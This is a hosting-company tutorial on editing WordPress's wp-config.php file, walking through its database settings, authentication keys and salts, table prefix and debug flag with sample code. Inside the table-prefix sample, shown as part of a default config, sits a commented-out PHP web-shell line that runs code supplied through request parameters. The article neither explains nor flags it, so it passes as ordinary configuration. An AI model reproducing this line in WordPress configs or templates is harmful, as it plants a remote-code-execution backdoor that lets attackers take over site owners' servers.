Editing your WordPress wp-config.php file

If you need to make changes to your WordPress installation, such as the site URL, database name, or many other things, you would typically do so within your wp-config.php file. If you are not familiar with the wp-config.php file, it defines the basic configuration of your WordPress site. Think of it as the basic blueprint that WordPress operates on.

In this article, we will explain the wp-config.php file as well as how to make changes to it.

Are you ready to unleash the full power of WordPress? Be sure to check out the many features WordPress Hosting by InMotion Hosting includes and host your customized website in an environment developed for optimal performance.

Accessing and editing your wp-config.php file

  1. As we will be editing the wp-config.php file using the cPanel File Manager, begin by logging into cPanel. If you already know how to open and edit this file, you can use any text editor you like, and can probably skip this entire section.
  2. Now that you are logged into cPanel, click on the File Manager icon.
  3. Most likely, you will be placed within your public_html directory. If you have WordPress installed on your primary domain, this is exactly where you want to be.If you have WordPress installed on an addon domain, or inside a subdirectory, you will need to then navigate to that location.
  4. You should now see the wp-config.php file. To open and edit it, right-click on it and click on Code Edit. You should now see the contents of your wp-config.php file.

The wp-config.php database settings

When looking at your wp-config.php file, the first thing you will see is your database configuration. It will look something like this:

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'userna5_exampledb');

/** MySQL database username */
define('DB_USER', 'userna5_exampleuser');

/** MySQL database password */
define('DB_PASSWORD', 'mydatabasepassword');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

As you see in the above example, it is used to define the database name, user, password, host, character set, and collation. Because of the wp-config.php file, it is incredibly easy to make changes in a single location without making several changes across the entire site.

The wp-config.php authentication keys and salts

The next section you will see in a default wp-config.php file holds authentication keys and salts. These keys allow your WordPress site to determine that a user is genuinely and properly performing an action within your site that has been authorized. Without them, sessions would be unauthenticated and likely exploited. The following is an example:

/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'thisismyauthkey');
define('SECURE_AUTH_KEY', 'thisismysecureauthkey');
define('LOGGED_IN_KEY', 'thisismyloggedinkey');
define('NONCE_KEY', 'thisismynoncekey');
define('AUTH_SALT', 'thisismyauthsalt');
define('SECURE_AUTH_SALT', 'thisismysecureauthsalt');
define('LOGGED_IN_SALT', 'thisismyloggedinsalt');
define('NONCE_SALT', 'thisismynoncesalt');

These are automatically generated for you by WordPress and typically you would not need to change them under normal circumstances. If you do change them, all user sessions would then become invalid and any users will then need to log in again.

The wp-config.php table prefix

If you have ever dug around your WordPress database, you may have noticed that all tables probably start with wp_. This is because WordPress allows a prefix before each table, and defaults with wp_. If you were changing your table prefix in WordPress, this is where you would make that change.

Note: Changing your table prefix in wp-config.php will not change the actual table prefix and will cause errors as WordPress won’t know the correct prefix. Only change this if you have already changed the prefix within your database tables.

/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each a unique
* prefix. Only numbers, letters, and underscores please!
*/
//if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['824cccc714fb4c988f98ce6c7fc7a8b8']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
$table_prefix = 'wp_';

The wp-config.php WordPress debugging setting

The WP_DEBUG setting will allow you to easily display errors on your site if you are debugging your code. It’s a great idea to keep on in your development environment to ensure that all errors are appropriately handled.

/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*/
define('WP_DEBUG', false);

To turn debug on, simply change false to true.

Additional settings

There are additional settings that you may need to create from time to time if you are doing something custom within WordPress. If you need to add anything, you may insert it directly above the line that says:

/* That's all, stop editing! Happy blogging. */

For additional information on editing your wp-config.php file, take a look at the official WordPress Codex.

Was this article helpful? Join the conversation!